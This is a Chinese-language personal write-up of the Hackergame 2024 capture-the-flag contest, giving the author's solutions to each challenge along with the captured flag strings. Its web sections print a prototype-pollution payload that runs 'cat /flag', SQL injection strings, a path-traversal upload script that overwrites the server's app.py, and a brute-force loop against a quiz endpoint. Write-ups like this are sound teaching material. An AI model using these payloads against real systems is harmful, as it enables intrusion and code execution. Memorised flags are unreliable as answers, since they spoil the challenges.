苟……苟住了
签到
http://202.38.93.141:12024/?pass=true
喜欢做签到的 CTFer 你们好呀
经典之 base64 藏信息,在 https://www.nebuu.la/_next/static/chunks/pages/index-5c589ff418560b46.js 搜到两个 atob
怎么知道的?习惯罢了
console.log(atob("RkxBRz1mbGFne2FjdHVhbGx5X3RoZXJlc19hbm90aGVyX2ZsYWdfaGVyZV90cllfdG9fZjFuRF8xdF95MHVyc2VsZl9fX2pvaW5fdXNfdXN0Y19uZWJ1bGF9"))
console.log(atob("ZmxhZ3swa18xNzVfYV9oMWRkM25fczNjM3J0X2YxNGdfX19wbGVhc2Vfam9pbl91c191c3RjX25lYnVsYV9hbkRfdHdvX21hSm9yX3JlcXVpcmVtZW50c19hUmVfc2hvd25fc29tZXdoZXJlX2Vsc2V9"))
猫咪问答(Hackergame 十周年纪念版)
- 程序员的自我修养
- https://lug.ustc.edu.cn/wiki/sec/contest.html
- https://lug.ustc.edu.cn/news/2019/12/hackergame-2019/ 这个只能挨个试?
- https://www.usenix.org/system/files/usenixsecurity24-ma-jinrui.pdf
All 20 clients are configured as MUAs for all 16 providers via IMAP, resulting in 336 combinations (including 16 web interfaces of target providers).
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6e90b675cf942e50c70e8394dfb5862975c3b3b2
- 1833 暴力
for (let i = 100; i < 5000; i ++){ const res = await (await fetch("http://202.38.93.141:13030/", { "headers": { "content-type": "application/x-www-form-urlencoded" }, "body": "q1=3A204&q2=2682&q3=%E7%A8%8B%E5%BA%8F%E5%91%98%E7%9A%84%E8%87%AA%E6%88%91%E4%BF%AE%E5%85%BB&q4=336&q5=6e90b6&q6=" + i, "method": "POST" })).text() let m; let count = 0 let mList = [] if (/得分为 100/gm.test(res)) { console.log('✅', i) break } console.log('❌',i) }
打不开的盒
Windows自带,拉近一下,就是没上色眼睛看得难受
flag{Dr4W_Us!nG_fR3E_C4D!!w0W}
每日论文太多了!
把遮罩移开,就有了
我在这儿
比大小王
let i = 0
function Update() {
state.values[i][0] > state.values[i][1] ? state.inputs.push('>') : state.inputs.push('<')
i++
if (i < state.values.length) {
Update()
} else {
state.score1 = 100
submit(state.inputs)
}
}
Update()
旅行照片 4.0
第一部分
- 东校区西门,翻街景发现左上角的logo变了,但工行还在老位置
- 20240519 https://www.bilibili.com/opus/930934582351495204
FLAG 为 flag{5UB5CR1B3_T0_L30_CH4N_0N_B1L1B1L1_PLZ_09d0449c7e}
。
第二部分
- 垃圾桶看到六安园林,对着地图上能看到的公园乱猜,猜到第二个就出了
- Google lens乱搜,碰运气搜到的,三峡,坛子岭
坛子岭
FLAG 为 flag{D3T41LS_M4TT3R_1F_R3V3RS3_S34RCH_1S_1MP0SS1BL3_f7acc4adb1}
。
第三部分
- 四编组动车
- 找到 https://www.china-emu.cn/Trains/Model/detail-26012-201-F.html
- 挨个对外观 -> 北京市郊铁路怀柔—密云线
- 对着地图沿线找地点 -> (北京)积水潭医院
FLAG 为 flag{1_C4NT_C0NT1NU3_TH3_5T0RY_4NYM0R3_50M30N3_PLZ_H3LP_2605a0c852}
。
Node.js is Web Scale
原型链污染 https://ctf.zeyu2001.com/2022/balsnctf-2022/2linenodejs
{"key":"__proto__.flag","value":"cat /flag"}
然后访问 /execute?cmd=flag
PaoluGPT
千里挑一
还能咋办,全部访问一遍咯。。。最后找到 conversation_id=6605cc89-27eb-4cc8-b8b8-fb51589fadf7
let a = [...document.getElementsByTagName('a')].filter(x => x.href.startsWith('https://xxx.hack-challenge.lug.ustc.edu.cn:8443/view'))
for (const x of a) {
fetch(x.href)
}
做完第二问才想起可以注入
new URLSearchParams({conversation_id: "' OR contents LIKE '%flag%';--"}).toString()
窥视未知
SQL 注入
new URLSearchParams({conversation_id: "' OR shown=false;--"}).toString()
强大的正则表达式
正则Easy
找到 整除规则,提到
末四位能被16整除。
x = []
for (let i =1; i <=16*1000;i++){
if (16*i < 10000) {
x.push(16*i)
}else {break}
}
y=x.map(xx => xx.toString().padStart(4, '0'))
console.log('(0|1|2|3|4|5|6|7|8|9)*(' + y.join('|') + ')')
惜字如金 3.0
题目 A
都是关键字补全,补全了就好了
优雅的不等式
4*((1-x**2)**(1/2))
在区间 [0, 1]
的定积分就是 pi
,所以只要管 pi
以外的部分即可
不等式Easy
无法获得的秘密
看到这题我马上就想到 Qrs,但原版是基于 nuxt 的,打包以后单是 vue 生态的部分就上百KB了,无奈暂时搁置
后面还发现 novnc 自带的剪贴板无效,只能找其他办法粘贴,在 Hostloc/936147 找到了个 AutoHotkey 的脚本
SplashTextOn, 220, ,Ctrl+Alt+v
Sleep 2000
SplashTextOff
; MsgBox The backup process has completed.
^!v::Send %clipboard%
粗略估算了一下,这样直接粘贴的速度大约是 62字符/秒
所以还是要想办法砍掉全部 vue 生态相关的 js,css 也是不必要的,全部删掉,vnc 只管展示二维码就好了,那扫码的部分也砍了;debug?不需要,砍了
经过一番粗略的处理后得到一个压缩后只有 20.5 KB (21,064 bytes),base64url处理后只有 27.4 KB (28,088 bytes) 的压缩包,使用 base64url 是因为部分符号会被转义,不过我没有删掉文本最后的 =
,因为 debian 自带的 base64
包不能自动处理缺少末尾 =
的文本
tar -caf q.tar.xz q
base64 q.tar.xz | tr '+/' '-_' | tr -d '\n' > q.tar.xz.b64
按下 Ctrl+Alt+v
,等9~10分钟后就能粘贴完成了,然后将它恢复成压缩包,碰巧系统自带 python3,那就起一个 http 服务器
sed 's%-%+%g; s%_%\/%g' q.tar.xz.b64 | base64 --decode > x.tar.xz # 这里的 '+' 在用脚本拷贝时会被转义丢失,需要自己补回去
tar -xaf x.tar.xz
python3 -m http.server 8000
用自带的 firefox 打开网页,选择secret文件,自己准备的手机/平板打开 Qrs 慢慢扫描……15分钟自动断开的机制可能会导致一次的连接时长不够用,那就再粘贴一遍再扫一遍,我也折腾了两回才拿到文件
对,就这么扫
手机视角
惊人的 0.61 Kbps
- vnc设备的内存或者别的性能太低,网页总会崩,崩了刷新再打开文件就好了,一次性玩意也没有优化修 bug 的价值
- 我漏了限制宽度,所以截图里面可以看到我把开发者控制台打开占位置……
- 我还考虑过将 python 的二维码库塞进去转换成多个二维码,然后录屏,最后还是回到了魔改 Qrs 的路上
*Docker for Everyone Plus
这题的乐子不在于题目本身,而在于找到一个能在 Windows 下连接题目后还正常使用 rz
的终端,我暂时没能找到一个能用的终端
- 自带的网页终端
- Windows Terminal
- PuTTY
- MobaXterm
- Ubuntu终端
- Xshell 7 <- 这个终于是弹出文件选框了,但要不直接崩掉要不没有速度
- SecureCRT <- 可以选文件,不会崩,但也不会上传
至于拿 flag 的思路大概就是传个打包好的镜像上去加载,后面就不知道了,连上传都没做到后面也没得想
ZFS 文件恢复
*Text File
找了个有导出文件演示的文章看了半天,没研究出来,感觉压缩过了
Shell Script
用 winhex 打开 镜像,搜 flag1
,能找到一个shell脚本,很显然这就是 flag2.sh
或者 zdb -R hg2024 0:20800:200:r
#!/bin/sh
flag_key="hg2024_$(stat -c %X.%Y flag1.txt)_$(stat -c %X.%Y "$0")_zfs"
echo "46c518b175651d440771836987a4e7404f84b20a43cc18993ffba7a37106f508 -" > /tmp/sha256sum.txt
printf "%s" "$flag_key" | sha256sum --check /tmp/sha256sum.txt || exit 1
printf "flag{snapshot_%s}\n" "$(printf "%s" "$flag_key" | sha1sum | head -c 32)"
根据题面教程在 linux 挂载镜像,输入 zdb -ddddd hg2024
得到一大串东西,通过 flag2.sh
的大小(331)反向找到对应 Object,乱猜一个 ZFS plain file
关键词去搜找到 flag1.txt 的Object
这里我删掉了不必要的部分
Object lvl iblk dblk dsize dnsize lsize %full type
2 2 128K 4K 3.50K 512 8K 100.00 ZFS plain file
atime Thu Mar 9 23:56:50 2006
mtime Sun May 29 03:19:29 1977
ctime Wed Oct 23 21:37:22 2024
crtime Wed Oct 23 21:37:22 2024
Object lvl iblk dblk dsize dnsize lsize %full type
3 1 128K 512 512 512 512 100.00 ZFS plain file
176 bonus System attributes
atime Mon Nov 10 04:49:03 2036
mtime Sat Jan 12 01:18:00 2013
ctime Wed Oct 23 21:37:22 2024
crtime Wed Oct 23 21:37:22 2024
现在时间都知道了,就可以改 flag_key
获取flag2 (好臭的时间戳)
#...
flag_key="hg2024_1141919810.233696969_2109876543.1357924680_zfs"
#...
链上转账助手
转账失败
什么都不用修改,照着 Dockerfile 把依赖装好编译字节码,然后粘贴即可
ps: 发现这题我完全理解错了,我以为是我要改已有的代码
不太分布式的软总线
What DBus Gonna Do?
gpt带飞
gdbus call --system --dest cn.edu.ustc.lug.hack.FlagService --object-path /cn/edu/ustc/lug/hack/FlagService --method cn.edu.ustc.lug.hack.FlagService.GetFlag1 "Please give me flag1"
If I Could Be A File Descriptor
我怎么知道的?给 GPT 乱猜的
#!/bin/bash
exec {fd}<<<"Please give me flag2"
gdbus call --system --dest cn.edu.ustc.lug.hack.FlagService --object-path /cn/edu/ustc/lug/hack/FlagService --method cn.edu.ustc.lug.hack.FlagService.GetFlag2 ${fd}
*动画分享
找到了 zutty 任意执行漏洞的 POC,但不知道怎么用
关灯
费了老大劲从平面 3x3 开始引导 GPT 写的,聊天记录
通杀前三个难度
import numpy as np
# 构建影响矩阵
def build_matrix_3d(size):
n = size * size * size
A = np.zeros((n, n), dtype=int)
# 三维坐标 (i, j, k)
for x in range(size):
for y in range(size):
for z in range(size):
idx = x * size * size + y * size + z # 当前格子的索引
A[idx, idx] = 1 # 自己
# 前、后、左、右、上、下的影响
if x > 0: # 前
A[idx, (x - 1) * size * size + y * size + z] = 1
if x < size - 1: # 后
A[idx, (x + 1) * size * size + y * size + z] = 1
if y > 0: # 左
A[idx, x * size * size + (y - 1) * size + z] = 1
if y < size - 1: # 右
A[idx, x * size * size + (y + 1) * size + z] = 1
if z > 0: # 上
A[idx, x * size * size + y * size + (z - 1)] = 1
if z < size - 1: # 下
A[idx, x * size * size + y * size + (z + 1)] = 1
return A
# 高斯消元法在模2的情况下求解方程组
def gauss_jordan(A, b):
A = A.copy()
b = b.copy()
n = len(b)
for i in range(n):
# 找到主元
if A[i, i] == 0:
for j in range(i + 1, n):
if A[j, i] == 1:
# 交换行
A[[i, j]] = A[[j, i]]
b[[i, j]] = b[[j, i]]
break
# 归一化
if A[i, i] == 1:
for j in range(i + 1, n):
if A[j, i] == 1:
A[j] ^= A[i]
b[j] ^= b[i]
# 回代过程
x = np.zeros(n, dtype=int)
for i in range(n - 1, -1, -1):
if A[i, i] == 1:
x[i] = b[i]
for j in range(i):
b[j] ^= A[j, i] * x[i]
return x
# 示例: 3x3x3 的关灯游戏
size = 3 # 可以根据需要调整大小
target_state = np.array([1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0]) # 浏览器 JSON.stringify('01010101'.split('').map(x => Number(x))) , 然后贴上来
# 构建影响矩阵 A
A = build_matrix_3d(size)
# 求解 Ax = b
solution = gauss_jordan(A, target_state)
# 输出点击组合
click_positions = solution.reshape((size, size, size))
print("点击组合为:")
print(click_positions)
result_str = "".join(map(str, click_positions.flatten()))
print(result_str)
禁止内卷
根据给出的源码可以看到没有检验上传文件名
file = request.files['file']
filename = file.filename
filepath = os.path.join(UPLOAD_DIR, filename)
file.save(filepath)
那就到了经典的 ../
逃逸大法了,又因为传脚本上去覆盖会自动重启,那就把 /
给改了
@app.route("/", methods=["GET"])
def index():
with open("answers.json") as f:
return json.dumps(json.load(f))
然后提交
import requests
# 要上传的文件路径
file_path = "app.py"
# 创建 multipart form 数据
with open(file_path, 'rb') as f:
files = {'file': ('../web/app.py', f)}
# 发送 POST 请求
response = requests.post("https://xxxxx.hack-challenge.lug.ustc.edu.cn:8443/submit", files=files)
# 输出服务器响应
print(response.text)
可以得到个 json,根据题目要求处理一下
a=[...]// from response
console.log(a.map(x => String.fromCharCode(x + 65)).join(''))
// 'flag{uno!!!!_esrever_now_U_run_MY_c0de1ac1c2c48f}...'// 后面还有一大串
零知识数独
数独高手
数独真不会,还好有外挂 https://sudoku.com/zh/sudoku-solver
ZK 高手
随便找的 snarkjs 速成
根据电路得到输入文件 input.json
{
"unsolved_grid":[
[0,0,7,3,4,0,0,0,0],
[9,6,2,0,0,0,0,0,0],
[0,0,3,5,0,0,0,0,0],
[1,0,0,0,0,0,0,0,3],
[0,0,0,8,0,1,4,0,0],
[0,9,0,0,0,0,7,0,0],
[0,0,0,0,6,0,0,0,0],
[0,0,0,0,0,3,0,2,6],
[7,0,0,0,2,0,0,9,0]
],
"solved_grid":[
[8,5,7,3,4,6,9,1,2],
[9,6,2,1,8,7,5,3,4],
[4,1,3,5,9,2,6,7,8],
[1,7,4,6,5,9,2,8,3],
[3,2,5,8,7,1,4,6,9],
[6,9,8,2,3,4,7,5,1],
[2,8,1,9,6,5,3,4,7],
[5,4,9,7,1,3,8,2,6],
[7,3,6,4,2,8,1,9,5]
]
}
snarkjs wtns calculate sudoku.wasm input.json witness.wtns
snarkjs groth16 prove sudoku.zkey witness.wtns proof.json public.json
snarkjs groth16 verify verification_key.json public.json proof.json
# [INFO] snarkJS: OK!
然后上传 proof.json
结束
当前分数:4000, 总排名:95 / 2460
AI:0 , binary:0 , general:1900 , math:1000 , web:1100
苟住了前 100
这几年越发感觉到跟科班的差距:
- 别人:课上学过的在这里遇到太棒了
- 我:这是啥玩意怎么搜不到,这又是啥玩意见都没见过……虽然这两年有了 GPT,但问问题和确认 GPT 有没有胡说八道还是要有一定基础的